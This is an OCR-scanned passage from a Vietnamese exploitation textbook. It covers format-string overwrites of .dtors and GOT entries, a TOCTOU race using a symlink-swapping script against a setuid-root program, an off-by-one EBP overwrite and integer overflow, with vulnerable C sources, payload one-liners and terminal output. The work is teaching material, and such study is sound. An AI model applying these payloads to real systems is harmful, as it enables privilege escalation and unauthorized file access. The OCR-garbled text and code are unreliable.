Ham easter egg ndm tai dia chi 080484E0. Tuong tu véi GDB nhu trong
hinh chup bén dudi.
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regular@exploitation:~/src$ gdb ./dtors

GNU gdb 6.4.90-debian

Copyright (C) 2006 Free Software Foundation, Inc.

GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.

There is absolutely no warranty for GDB. Type "show warranty" for details.

This GDB was configured as "i486-linux-gnu"...Using host libthread_db library "/
1ib/t1ls/i686/cmov/libthread_db.so.1".

gdb$ print easter_egg
$1 = {<text variable, no debug info>} 0x80484e0 <easter_egg>
gdb$

Nhu vay, ching ta sé ding dong lénh sau dé thay déi dia chi ham hiiy trong
danh sach ham huy v6i dia chi ctia ham easter_egg.

regular@exploitation:~/src$ python -c ’print "\x98\x96\x04\x08\x99\x96\x04\x08\x
9A\x96\x04\x08\x9B\x96\x04\x08" + "I" + str(0xE0 - 16) + "x%6$n" + "%" + str(O0x1

84 - OxE0) + "x%7$n" + "%" + str(0x204 - 0x184) + "x%8%n" + "aaaa%9%n"’ | ./dtor
s
#it##
200
b7£db300
5laaaa
Good bye!
You win!

Segmentation fault
regular@exploitation:~/src$

Dirng doc va suy nghi

Tai sao ta vuéng 16i phan doan?

Véi cau lenh tan dung trén, ching ta da sit dung cach cit 1-1-1-1, 1am lem
3 byte qua dau hieu két thic danh sich ham hiy. Sau khi thyc hién xong ham
easter _egg, bo nap sé tiép tuc duyet danh sach cho t6i khi gip dau higu két
thiic. Vi dau hiéu két thic da bi ching ta vo tinh thay ddi nén bo nap sé xem
gia tri d6 nhu mot ham hiy va tiép tuc goi ham hiy nay. Dang tiéc, dia chi
ham hiiy bat dic di nay khong phai 1a mot dia chi da duge 4nh xa nén chuong
trinh vuéng phai 16i phan doan.

Chiing ta c6 thé gidi quyét 16i phan doan nay bing céch sit dung céch cit
2-2 v6i hn, hodc cac cach cit khong lem khac. Day sé 1a mot thit thach nhé danh
cho doc gid. Ban doc cling c6 thé thit thay thé gia tri tai dia chi ddu hieu két
thic danh sach ham huy.
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4.6 Bang GOT

Khi mot chuong trinh st dung cdc ham ctia mot thu vien (vi dy nhu ham printf
ctia thu vién chuan), chuong trinh d6 sé phai thong béo cho bo nap biét ham
n6 can 14 ham gi, va dude tim thiy & thu vién nao. Bo nap nhan dugc théng tin
nay sé thuc hién viéc nap thu vien va tim dia chi ctia ham can diing dé truyén
lai cho chuong trinh. Quéa trinh nay dugce thyc hién khi ham dude goi lan dau
va dia chi ham sé duge luu lai dé st dung trong cac lan goi sau. Bang luu céc
dia chi ham da duge bo nap tim ra duge goi 1a bang dia chi toan cuc (global
offset table, hay GOT).

Day la mot muc tieu tan dung ctia ching ta vi chung ta c6 thé sita dia chi
trong GOT dé khi chuong trinh goi t6i ham da bi sita thi ma lenh ciia chiing
ta s& dugc thyc thi. Trong Nguon 4.2, sau khi thyc hién lenh printf (buffer),
chuong trinh thic hién tiép lénh printf (‘‘Good bye’?). C4 hai yéu td cin ban
dé tan cong GOT déu c6 di. Yéu t6 thit nhét 1a chuong trinh tiép tuc goi mot
ham sau khi thyc hién ham bi 16i (printf (buffer)). Yéu t6 thit hai la ham
duge goi nay da duge bo nap tim ra va luu trong GOT (chinh 1a ham printf).

Chiing ta vAn can tra 1i hai cau héi quan trong ciia viéc tan dung 16i chudi
dinh dang la ghi gia tri gi vao dia chi nao. Nhu lac trude, chiing ta sé ghi dia chi
clia ham easter egg. Van dé con lai 1a tim dugc 6 chita dia chi ctia ham printf
trong GOT.

Dé doc GOT, chiing ta c6 thé ding cong cu objdump nhu hinh chup bén
dudi.

regular@exploitation:~/src$ objdump -R dtorsdtors: file format e1£32-i386
DYNAMIC RELOCATION RECORDS

OFFSET  TYPE VALUE

08049764 R_386_GLOB_DAT __gmon_start__

080497a0 R_386_COPY stdin

08049774 R_386_JUMP_SLOT __register_frame_info

08049778 R_386_JUMP_SLOT puts
0804977c R_386_JUMP_SLOT __deregister_frame_info
08049780 R_386_JUMP_SLOT fgets

08049784 R_386_JUMP_SLOT __libc_start_main
08049788 R_386_JUMP_SLOT  printf
0804978c R_386_JUMP_SLOT __gmon_start__

regular@exploitation:~/src$

Cot thit nhat 13 dia chi 6 nhé chita dia chi clia ham tuwong ng & cot thit ba
ma da duge bo nap tim ra. Vi chiing ta mudén sita dia chi ciia printf nén ching
ta sé stta 6 nhé 08049788.

V6i ba yéu t6 can ban da dugc gidi quyét, ching ta c6 thé tién hanh tan
dung 156i chudi dinh dang dé thay dia chi ham printf véi dia chi ham easter egg
nhu hinh chuyp sau.
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regular@exploitation:~/src$ python -c ’print "\x88\x97\x04\x08\x89\x97\x04\x08\x
8A\x97\x04\x08\x8B\x97\x04\x08" + "%" + str(0xE0 - 16) + "x%6$n" + "%" + str(0x1l
84 - 0xEO0) + "x%7$n" + "%" + str(0x204 - 0x184) + "x%8$n" + "aaaal9%n"’ | ./dtor
s
#i###
200
b7£db300
5laaaa
You win!
regular@exploitation:~/src$

Néu chu ¥, doc gid sé thay c6 chd khong 6n véi phuong huéng nay. Ham
printf dugc goi 1an thit hai véi mot tham sd, trong khi ham easter egg khong
nhan tham s6. Diéu nay gay ra sy khong théng nhét gifta tac vu goi ham (vé6i
thao tac chuan bi viing nhé ngan xép) va tac vu don dep viing nhé ngan xép
sau khi ham trd ve. Ddi véi quy ude goi ham (calling convention) cdecl (quy
uéc mic dinh cia hau hét cac trinh bien dich va duge diing dé bién dich bo thu
vién chuan), viéc nay khong anh huéng dén két qua chung. Tuy nhién, véi céc
quy wéc goi ham khac chiing han nhu stdcall thi rat c6 thé ching ta sé gap 16
phéan doan.

4.7 Tém tat va ghi nhé

e Chudi dinh dang 13 tham s6 tht nhat dugc truyén vio ham printf. N6
chita cac yéu cau dinh dang dé xac dinh cach thic dit lieu sé duge hién
thi b6i ham printf.

e Mbi yéu cau dinh dang bit dau bang ky tu phan tram (%) va két thic béi
ky ty dinh dang. C6 nhiéu ky tu dinh dang nhu x, n, v hn. Gida ky tu
phan tram va ky tu dinh dang c6 thé c6 them cac tly chon khac.

e Yéu cau dinh dang n va hn ghi vio viing nhé chi t6i bdi tham s clia né
s6 lugng ky tu da duge in. Diém khac biét chit hai dinh dang nay 1a n ghi
tron 4 byte, trong khi hn ghi 2 byte thap.

e Tuy chon do6 dai ctia yéu cau dinh dang 13 mot chudi chit s6 thap phan
bat dau bing chit s6 khac 0. Tiy chon xéc dinh vi tri tham s6 cho yéu
cau dinh dang 13 mot chudi chit s6 thap phan nguyén duong theo sau béi
ky tu dong ($). Tuy chon xac dinh vi tri tham s6 phai di ngay sau ky tu
phan tram.

e Khi x1t dung tuy chon xac dinh do dai, ching ta nén dung do dai 16n hon
hoiic bing véi do dai t6i da dé hién thi kiéu dit lieu. Tiy chon do dai gitp
chting ta nhap vao it nhung nhan duge nhidu ky ty xuit ra.

e Ldi chudi dinh dang cho phép chiing ta quét ngin xép va xac dinh céc gia
tri dang c6 trén ngan xép. Néu dit lieu nhap clia ta cling nim trén ngin
xép thi sé c¢6 truong hop chiing ta gap lai chinh dit lieu nhap. Diéu nay
cho phép ching ta didu khién tham sé truyén vao yéu cau dinh dang.
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Tiy vao gia tri can ghi, ching ta c6 thé st dung cach cit 1-1-1-1, hoic
2-2 dé ghi ting phan nhd clia gia tri dé qua nhidu dinh dang n hoic hn
thay vi ghi mot 1an tryuc tiép.

Viéc tan dung 18i chudi dinh dang cho phép ta ghi mot gia tri bat ky vao
mot viing nhé bat ky. Ving nhé dé c¢6 thé 1a mot phan tit trong danh sach
ham hty hoac GOT.

Ham hity 13 mot ham khong nhan tham s6, khong cé gia tri trd vé, va
luon luon duge bo nap thye thi khi chuong trinh két thic.

Danh sich ham hiiy bat dau bang ky hiéu bat dau danh sach FFFFFFFF
va két thic véi ky higu két thic danh sach 00000000. Cac gia tri & gitta
la dia chi ctia cdc ham huy. Du chuong trinh st dung hay khong st dung
ham hiy, danh sach ham hiy luon luén ¢6 mat trong chuong trinh.

Cac chuong trinh lien két dong t6i nhiing thu vién khac sé nhs bo nap tim
dia chi ham can thiét. Sau khi bo nap da tim dudc dia chi ham, chuong
trinh sé& luu lai dia chi nay trong GOT dé sit dung trong nhiing lan goi
ham sau.

Chiing ta c6 thé xem xét danh sach ham hity va GOT thong qua cong cu
objdump.
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Mot s6 loai 16i khac

Ngoai céc loai 161 tran bo dém, va chudi dinh dang phd bién va xing dang dugc
xem xét mot cach chi tiét trong hai chuong trudc, chiing ta doi khi con gap phai
nhitng 161 khé phét hién nhu truong hgp dua, hodc nhing trudng hop 161 dic
biét clia cac 16i da ban nhu 16i du mot, hay céac 18i lien quan dén cau tric may
tinh nhu 18i tran s6 nguyén.

Céc 186i nay, mac du khé bi tan dung va it khi gip phéi, nhung tac hai cia
chiing cfing nghiém trong vo cting. Trong nhiing nam cudi thé ky 20, hang loat
16i twong tir da bi phat hién trong cac hé thdéng UNIX va hau qua 1a cac he
théng quan trong trén mang toan cau da bi xam nhap. Chinh vi téc hai to lén
d6 ma chiing ta sé can xem xét k¥ nguyén nhan gay 16i, cach thic tan dung, va
bién phap phong tranh chung.

5.1 Trudng hgp dua (race condition)

Truong hop dua xay ra khi nhiéu tién trinh truy cap va stta déi cting mot dit lieu
vao ciing mot lac, va két qua clia viéc thire thi phu thude vao thit tu cia viee
truy cap. Néu mot chuong trinh vudng phai 16i nay, ngudi tan dung 16i c6 thé
chay nhiéu tién trinh song song dé “dua” véi chuong trinh c6 16i, v6i muc dich 1a
thay ddi hoat dong clia chuong trinh dy. Doi khi, trusng hgp dua con duge biét
dén v6i tén goi thoi diém kiém tra/thdi diém st dung (Time Of Check/Time Of
Use, TOC/TOU)

Néu & trong Chuong 3 chiing ta da thiy qua hai cau héi chinh ciia viéc tan
dung 16i 13 can nhap gi va cach nhap dit liéu dy vho chuong trinh, thi & day
chiing ta gap cau hoéi quan trong thit ba la khi nao thi nhap dit lieu vao chuong
trinh. Mot chuong trinh c¢6 thé khong nhan dit lieu cho dén khi mot sé yeu cau
duge théa man, va chi nhan dit liéu trong mot khoang thoi gian ngén. X4c dinh
duge thai diém nhap lieu chinh xac do dé tréd thanh mot van dé can ban.

Hay xem xét vi du trong Ngudn 5.1. Chiing ta cAn tao mot moi trudng hoat
dong cho chuong trinh nay dé né c6 thém tinh thuyét phuc. Trude hét ching ta
can gan quyén suid root cho chuong trinh.
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1 #include <stdlib.h>
2 #include <stdio.h>
3 #include <unistd.h>

4
5
6
7
8
9

10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25

int main(int argc, char sxargv)
{
FILE xfile;
char buffer [256];
if (access(argv[l], R OK) = 0)
{
usleep (1);
file = fopen(argv[1l], "r");
if (file = NULL)
{

goto cleanup;

fgets (buffer, sizeof(buffer), file);
fclose (file);
puts (buffer);

return 0;
}
cleanup:
perror ("Cannot_open_file");
return 0;

Nguon 5.1: race.c

regular@exploitation:~/src$ gcc -o race race.c
regular@exploitation:~/src$ sudo chown root:root race
regular@exploitation:~/src$ sudo chmod u+s race
regular@exploitation:~/src$ 1ls -1 race

-rwsr-xr-x 1 root root 8153 2009-02-28 14:30 race
regular@exploitation:~/src$

Sau d6 ta sé tao mot tap tin thudc vé root dé ddm bao chi ¢6 root méi doc
dugc tap tin nay. Noi dung tap tin 1a dong chit “You win!”.

regular@exploitation:~/src$ echo ’You win!’ > race.txt
regular@exploitation:~/src$ cat race.txt

You win!

regular@exploitation:~/src$ sudo chown root:root race.txt
regular@exploitation:~/src$ sudo chmod 600 race.txt
regular@exploitation:~/src$ 1ls -1 race.txt

“IW-————- 1 root root 9 2009-02-28 14:37 race.txt
regular@exploitation:~/src$ cat race.txt

cat: race.txt: Permission denied
regular@exploitation:~/src$

Chuong trinh vi du doc ndi dung ciia mot tap tin cé tén 13 tham sb dong
lénh dau tién va in noi dung tap tin d6 ra man hinh. Do chuong trinh nay dugc
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access
chuyén
tién trinh
. khac
chuyen
fopen

Hinh 5.1: Diéu kién dua

dit suid root nén ham fopen sé c¢6 thé doc duge noi dung ctia bat ky tap tin nao.
Vi khong thé dé mot ngudi ding thong thudng doc noi dung ciia céc tap tin
nhay cam (vi du nhu tap tin race.txt), chuong trinh vi du da sit dung thém
ham access dé kiém tra xem ngudi dimg thuc té c6 thé doc tap tin nay khong.

regular@exploitation:~/src$ ./race race.txt
Cannot open file: Permission denied
regular@exploitation:~/src$ sudo ./race race.txt
You win!

regular@exploitation:~/src$

Van dé v6i chuong trinh nay 1a ham access v ham fopen khoéng thie hién
hai tdc vu kiém tra quyén va mé tap tin mot cach khong thé tach rai (atomic).
N6i mot cach khac, c6 mot khodng thdi gian ngin gitta ham access va ham fopen
ma hé diéu hanh c6 thé chuyén qua thirc thi mot tién trinh khac, roi quay lai
nhu trong Hinh 5.1.

Néu nhu sau khi ham access da bi vugt qua va tién trinh song song kia c6
thé thay doi tap tin sé duge md bdi ham fopen thi ngudi ding thong thuong cé
thé doc dugc noi dung ciia bat k¥ tap tin nao trén may tinh. Didu nay c6 thé
dat dudc vi ca hai ham access va fopen déu nhan tham sb 1a tén tap tin. Ten
tap tin abc khong nhat thiét phai luon la tap tin abc vi ching ta c6 thé tao
mot lien két mém c6 tén abc nhung chi dén tap tin khac. Do dé ¥ tudng tan
dung ciia chiing ta gdm cac budc sau:

1. Tao mot lien két tén raceexp chi dén mot tap tin ching ta cé thé doc vi
du nhu race.c.

2. Thyc thi chuong trinh bi 16i v6i tham s6 raceexp dé chuong trinh nay
kiém tra kha nang doc tap tin raceexp, md that chat 1a tap tin race.c.
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#!/bin/sh
while [[ true ]]
do
rm —rf raceexp
In —s race.c raceexp
rm —rf raceexp
In —s race.txt raceexp
done

Nguon 5.2: raceexp.sh

3. Néu may mén, hé diéu hanh chuyén quyén thyc thi lai cho tién trinh duge
tao & budc 1 ngay sau khi tién trinh & bude 2 hoan thanh viéc kiém tra,
thi chiing ta sé chuyén lien két raceexp chi dén tap tin race.txt.

4. He diéu hanh chuyén lai tién trinh bi 161, va ham fopen mé tap tin raceexp
ma bay gic that ra la tap tin race. txt.

Dé téi wu viec tan dung, chiing ta sé dat cac tac vu chuyén déi lien két mém
trong mot kich ban nhu Ngudn 5.2. Chiing ta sé thiyc thi doan kich ban nay &
ché do nén (background). O ché do canh (foreground), ching ta sé thyc hien
léenh goi chuong trinh bi 16i. Sau mot it 1an goi, ching ta sé doc dugc nodi dung
clia tap tin race.txt. Khi hoan thanh viéc tan dung 16i, chiing ta can két thic
kich ban da dugc chay & nén.

regular@exploitation:~/src$ sh raceexp.sh &
[1] 3951

regular@exploitation:~/src$ ./race raceexp
#include <stdlib.h>

regular@exploitation:~/src$ ./race raceexp
Cannot open file: Permission denied
regular@exploitation:~/src$ ./race raceexp
Cannot open file: No such file or directory
regular@exploitation:~/src$ ./race raceexp
You win!

regular@exploitation:~/src$ kill 3951
regular@exploitation:~/src$

Doc gia tinh m#t sé cam thay vi du nay khong that té vi ching ta da chen
dong lénh usleep(1) trong Nguon 5.1 dé buoc hé diéu hanh chuyén tién trinh.
Trén nguyén tic, néu khong c6 dong lénh goi ham wusleep thi hé diéu hanh van
chuyén tién trinh, mac du ching ta khong thé doan dugce vao thoi diém no.
Tuy nhién, diéu nay khong lam thay déi viec tan dung 16i, ching ta sé van doc
duge noi dung clia tap tin race.txt sau mot s6 lan chay. Dong lenh goi ham
usleep & day chi don gidn lam vi du dé bi tan dung hon mot chrt.

L&i truosng hgp dua thudng gip nhidu trong cic tng dung xi 1y tap tin,
hoi#ic truy cap co sd dit lieu. Cac tai nguyén nay duge diing chung béi nhiéu tién
trinh, hodc tiéu trinh (thread) ciia cing mot tién trinh nén rat dé xay ra céc
cuoc “dua” gianh quyén sit dung. Cach thong thudng nhat dé tranh 15i 1a tuan
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#define MAX 8

int vuln_ func(char xarg)

{
char buf [MAX];

strepy (buf, arg);

}

int main(int argc, char sxargv)

{

if (arge < 2)

{

}
if (strlen(argv[l]) > MAX)

{
}

vuln _func(argv[1]);
return 0;

return 0;

argv [1][MAX] = "\x007;

Nguon 5.3: off by one.c

tu héa (serialize) truy cap vao nhiing tai nguyén nay, véi cac khoéa (lock), hoic
¢ hiéu (semaphore).

5.2 Du mot (off by one)

Du mot 1a 16i xay ra khi ching ta xit Iy du mot phan tit. Vi du dién hinh ciia
loai 16i nay 1a tran bo dém véi chi 1 byte dit lieu bi tran. Tuy nhién, véi 1 byte
nay, ching ta c6 thé didu khién duge ludng thuc thi ciia chuong trinh. Hay xem
xét Nguon 5.3.

Ham vuln_ func chép dit ligu tit tham s6 arg vao bién noi bo buf. Trong ham
main, chudi tham s6 dong lénh thi nhat duge dam bao chi dai téi da 8 ky tu
trude khi truyén vao vuln_ func. Cé vé nhu moi thit déu chuan xac vi bién buf
ciing chita dudc t6i da 8 ky tu. Tuy nhién ching ta di quén ring ham strepy sé
ti dong thém vao mdot ky ty NUL & cudi chudi. Néu chudi tham s6 c6 8 ky tu
(vi du nhu AAAAAAAR) thi strcpy sé chép 8 ky tu nay vao buf, va viét them 1 ky
tu NUL vao cudi. Ky ty NUL nay deé len con tré viing nhé ciia main nhu miéu
ta trong Hinh 5.2.

Khi ham vuln_ func vho phan két thic, vi lénh POP EBP nén gi4 tri XXXXXX00
sé duge gan vao thanh ghi EBP, va ham vuln_ func quay trd vé ham main.

Dén khi main vio phan két thic, vilenh MOV ESP, EBP nén gia tri XXXXXX00
lai duge chuyén sang cho thanh ghi ESP. Sau MOV ESP, EBP la léenh POP EBP
nén mot 6 ngin xép sé bi bé qua, con tré ngan xép sé c6 gia tri XXXXXX04.
T6i lenh RET thi gia tri clia 6 ngan xép hién tai dude gan vao con tré lénh va
ludng thyc thi bi thay déi.
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arg

dia chi trd vé

00 | XX | XX | XX
41 | 41 | 41 | 41
41 | 41 | 41 | 41

Hinh 5.2: NUL de lén EBP ca

arg

dia chi tré vé cta vuln func

00 | XX | XX | XX

dia chi tré vé cda main

41 | 41 | 41 | 41

&buf=XXXXXX00

Hinh 5.3: EBP luu ctia main chi t6i buf

Chiing ta nhan thay ring 16i x4y ra trong vuln_ func nhung ludng thyc thi
chi bi thay déi khi main két thic. Diém dang chi ¥ thit hai 14 khi bi ky tu NUL
de léen, gia tri EBP mdi sé nhd hon gia tri EBP ci, tic EBP sé chi t6i mot dia
diém & ben duéi.

Néu nhu bién buf nim tai dia chi c6 byte cudi 14 00 thi khi ky ty NUL lem
tdi gia tri EBP clia main luu trén viing nhé ngan xép ham vuln_ func sé lam
cho gi4 tri nay chi t6i chinh bién buf. Do d6, dia chi tré vé ctia main sé bi quy
dinh béi bdén byte bat dau tix vi tri ctia buff4/. Hinh 5.3 minh hoa hoan canh
nay.

Vi tham s6 dong lenh duge dat trén ngin xép nén sy thay déi tham sb dong
lenh sé dan dén sy thay déi vi tri ctia bién noi bo. Ching ta sé thit v6i mot vai
gia tri tham s6 dong lenh dé tim ra truong hop bién buf c6 dia chi tan ding la
00.
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regular@exploitation:~/src$ ./off_by_one aaaaaaaa

&buf: Oxbffffalld

Segmentation fault

regular@exploitation:~/src$ ./off_by_one aaaaaaaaaaaaaaaaa

&buf: Oxbffffall

Segmentation fault

regular@exploitation:~/src$ ./off_by_one aaaaaaaaaaaaaaaaaaaaaaa
&buf: Oxbffffa00

Segmentation fault

regular@exploitation:~/src$

Chiing ta phéat hién ra riing v6i chudi tham s6 aaaaaaaaaaaaaaaaaaaaaaa
thi bién buf nim tai vi tri théa yéu cau. Chiing ta ciing c6 thé thay ddi bién
mo6i trudng, hodc tén chuong trinh, hodc cac gia tri khac duge luu trén ngin xép
dé lam thay déi vi trf bién buf Chudi tham sb chiing ta tim dugc & day khong
nhat thiét 1 gia tri duy nhat, doc gid c6 thé sé tim thay mot chudi khéc.

Nhu vay, chiing ta chi can dit dia chi clia ham easter egg sau 4 byte dau, va
gitt s6 lugng ky tu clia chudi tham s6 nhut cii 1a main sé quay lai easter egg, két
thic viéc tan dung 16i du mot. Dia chi ham easter egg c6 thé duge tim thong
qua cong cu objdump hodc GDB nhu da dugc trinh bay trong Muc 4.5. Ham
nay nam tai dia chi 08048510.

regular@exploitation:~/src$ ./off_by_one ‘python -c ’print "aaaa\x10\x85\x04\x08
aaaaaaaaaaaaaaa"’‘

&buf: Oxbffffal0

You win!

regular@exploitation:~/src$

5.3 Tran sé nguyén (integer overflow)

Trong Tiéu muc 4.4.6, ching ta da 1¢i dung viéc quay vong clia mot byte ciia
s6 nguyen, va 1a mot vi du clia tran sé nguyén. Ldi tran s6 nguyén xay ra khi
mot tac vu sé hoc tao ra mot gid tri s6 nim ngoai khoang c6 thé duge biéu
dién béi kiéu dit lieu. Vi du nhu khi duge cong 1, kiéu unsigned int sé quay
vong tit FFFFFFFF thanh 00000000, trong khi kiéu unsigned char quay vong
tit FF thanh 00. Ngoai ra, v6i cac kiéu c6 dau, gia tri ciing bi quay vong tit sd
duong thanh s6 am. Vi du kiéu int sé quay vong tir 2147483647 (thap phan, hay
7FFFFFFF thap luc phan) thanh -2147483648 (thap phan, hay 80000000 thap
luc phan). Ban doc cht § ring gia tri tuyet dbi clia gia tri am nhé nhat khong
phai 13 gia tri duong 16n nhat. Didu nay ciing giy tran sd nguyén khi thyc hién
phép lay gia tri am —(—2147483648) = —2147483648.

Dong 15 trong Nguon 5.4 bi 16i tran s6 nguyén vi ham atoi tra vé két qua
kiéu int trong khi bién len chi c6 thé nhan gia tri theo kiéu short. Do d6, khi
tham s6 dong léenh 13 mot s6 16n hon 32767 thap phan (7FFF thap luc phan)
thi len sé& c6 gia tri am. Vi mang gia tri &m nén diéu kién & dong 16 sé khong
ding, chuong trinh tiép tuc thuc hién viéc doc tit bo nhap chudn vao chudi buf
qua lenh fgets. Tham s6 tht hai ctia ham fgets 1a kiéu int. Két qua ciia tac vu
len & OxFFFF dbi vé6i kidu int sé 1a mot sd nguyéen khong am cé gia tri tir 0 dén
65535. O dong nay, gid tri am cia len lai duge sit dung nhu mot gia tri duong,
dan dén viéc fgets doc vao nhiéu k¥ tu hon 13 mang buf c6 thé nhan, gay ra 16i
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#include <stdio.h>
#include <stdlib.h>
#include <unistd .h>

#define SIZE 256

int main(int argc, char sxxargv)
{

char buf[SIZE];

short len;

if (arge < 2)

return 0;

}

len = atoi(argv[1l]);
if (len > SIZE)
{

return 0;

puts ("Input_a_string");
fgets (buf, (len & OxFFFF), stdin);
return O0;

Nguon 5.4: int_overflow.c

tran bo dém. Ldi tran bo dém da dudc ban dén trong Chuong 3 nén ching ta
sé bé qua phan tan dung 16i nay ma chi tap trung vao cach ép ham fgets nhan
nhiéu dit lieu hon.

regular@exploitation:~/src$ python -c ’print "a" * 65535’ | ./int_overflow 65535
Input a string

Segmentation fault

regular@exploitation:~/src$

5.4 Tém tit va ghi nhé

e L&i truong hop dua xay ra khi hai hodc nhiéu tién trinh, hoac tiéu trinh
clia cting mot tién trinh, truy cap vio cting mot tai nguyén ma két qua
clia viéc truy cap nay phu thudc vao thi tu truy cap clia cac tién trinh,
hay tiéu trinh.

e Ngoai noi dung va céch nhap dit liu, thoi diém nhap di lieu vio chuong
trinh cling 14 mot trong ba van dé quan trong trong viéc tan dung 16i.

e Loi truong hgp dua thuong gip trong cic chuong trinh xtt Iy tap tin hodc
két ndi t6i co s6 dit lieu vi cic tai nguyén nay dude dung chung bdi nhiéu
tién trinh hay tiéu trinh.
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e Céach khic phuc 16i truong hop dua théng thuong nhat 1a st dung khoéa
ho#ic ¢d hieu dé tuan tu héa viec truy cap tai nguyen.

e Loi du mot 1a truong hgp riéng cta 16i tran bo dém trong dé chi mot ky
tu bi tran.

e Chuong trinh c6 thé bi vuéng 16i an ninh & mot noi nhung chi that su bi
tan dung tai mot vi tri khéc.

e Ldi tran s6 nguyén xay ra khi mot tac vu sb hoc tao nén mot gia tri s6
nim ngoai khoang c6 thé biéu dién duge béi kiéu dit lieu.

e L&i tran s6 nguyen c6 thé do do dai ctia kiéu dit lieu khong phit hop nhu
viec gan mot gia tri kidu int vho kiéu ngin hon nhu short hay char, hay
khi cong 1 vio mot byte mang gia tri FF sé bi quay vong vé 00, ciing c6
thé do su khéc biét ctia kidu c¢6 dau v khong dau vi du nhu néu cong 1
vao gia tri duong 7F clia mot bién kiéu char thi bién nay sé mang gia tri
am, vi ciing c6 thé bi gay ra do sut bat déi xing gitta s6 gia tri am va sb
gi4 tri duong ctia kiéu c6 dau vi dy nhu lay s6 doi ciia -128 thap phan sé
duge chinh -128 thap phan déi véi kiéu char.
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Chuong 6
Tém tat

T6i day, chiing ta da két thic bon phan chinh ciia tai lisu nay. Ban doc da duge
gi6i thieu vé cau tric may tinh, bit dau tit cac hé co sb roi chuyén qua bo vi
x1t Iy, bo nhé, ngan xép, cac lenh may, hop ngit va phuong phap mot trinh bién
dich chuyén mé tit ngoén ngit cAp cao sang ngon ngit cap thap.

Chiing ta da khéo sat loai 16i tran bo dém, da thuc hien tan dung 161 dé
thiét lap gia tri ctia mot bién noi bo, biét dén nhitng cach chuyén dong bo nhap
chudn, thay déi ludong thyc thi ctia chuong trinh, quay tré vé thu vien chuan,
va ndi két nhiéu lan quay vé thu vien chuan véi nhau.

Khi ban vé 16i chudi dinh dang, chiing ta di xem xét v& nguyén tic hoat
dong ctia chudi dinh dang, cic yéu cau dinh dang thong thudng, cach sit dung
chiing dé quét ngan xép, ghi mot gia tri bat ky vao mot viing nhé bat k¥, céc
cach cit mot gia tri 16n thanh nhiéu phan dé tien cho viéc ghi, va ap dung k¥
thuat d6 vao viéc tan dung 16i thong qua danh sach ham hiy trong phan viing
.dtors, cic phan ti trong bang GOT.

Ngoai hai loai 16i phd bién trén, ching ta con xem xét qua ba 16i nghiém
trong khac. Chiing ta da khao sat truong hgp dua giita cac tién trinh va tiéu
trinh khi truy cap vio ciing mét tai nguyén lam anh huéng dén tinh an toan
clia chuong trinh nhur thé ndo. Sau dé chiing ta xem qua mot truong hop dic
biét ctia 16i tran bo dém trong d6 chi mot byte bi tran. Va cudi ciing chiing ta
ban vé 16i xay ra khi gid tri vugt qua mién biéu dién duge clia kiéu dit lieu.

Cong viéc nghién cttu an ninh tng dung doi héi mot kién thiic nén tang vitng
vang va tong quat. Tac gid hy vong ring tai lieu nay da dem dén cho doc gia
mot phan nhé trong kho kién thitc khéng 16 diy, chi ro nhiing “phép mau” trong
cac k¥ thuat tan dung 16i.

Chitic doc gid nhiéu niém vui trong nghién ctu.

Dirng doc va suy nghi

Doc gia ¢6 thé tu he thong héa lai nhimg gi da ban khong?
Chao tam biét.
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C
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Central Processing Unit, 13
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Du mot, 99

danh sach ham huy, 90
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line feed, 13
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quan 1y b6 nhé &o, 17
quay vé phan ving .text, 51
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shellcode, 16
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